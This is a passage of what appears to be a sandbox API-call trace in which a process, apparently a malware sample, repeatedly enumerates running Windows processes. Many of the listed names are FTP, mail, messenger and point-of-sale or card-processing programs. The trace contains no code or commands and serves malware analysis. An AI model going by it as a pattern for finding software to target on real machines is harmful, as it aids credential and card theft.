dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0218.951] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0218.954] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0218.957] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.959] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.962] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0218.964] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.967] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0218.969] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0218.971] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0218.972] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0218.975] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0218.977] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0218.979] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0218.982] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0218.984] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0218.988] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0218.991] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0218.994] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0218.997] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0219.000] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0219.004] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0219.006] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0219.009] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0219.011] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0219.015] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0219.019] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0219.022] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0219.025] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0219.028] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0219.031] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0219.035] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0219.038] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0219.042] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0219.045] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0219.048] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0219.053] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0219.056] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0219.059] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0219.063] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0219.100] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0219.103] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0219.106] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0219.109] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0219.112] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0219.115] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0219.118] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0219.122] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0219.124] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0219.128] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0219.131] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0219.136] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0219.155] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0219.159] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0219.163] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0219.167] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0219.172] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0219.175] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0219.182] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0219.186] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0219.190] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0219.194] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0219.198] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0219.202] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0219.205] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0219.207] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0219.210] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0219.213] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0219.216] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0219.218] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0219.221] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.223] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0219.226] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0219.228] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0219.230] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0219.233] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0219.236] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0219.238] CloseHandle (hObject=0x11c8) returned 1 [0219.238] Sleep (dwMilliseconds=0x64) [0219.271] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0219.361] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.363] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0219.366] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0219.369] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.372] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0219.375] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 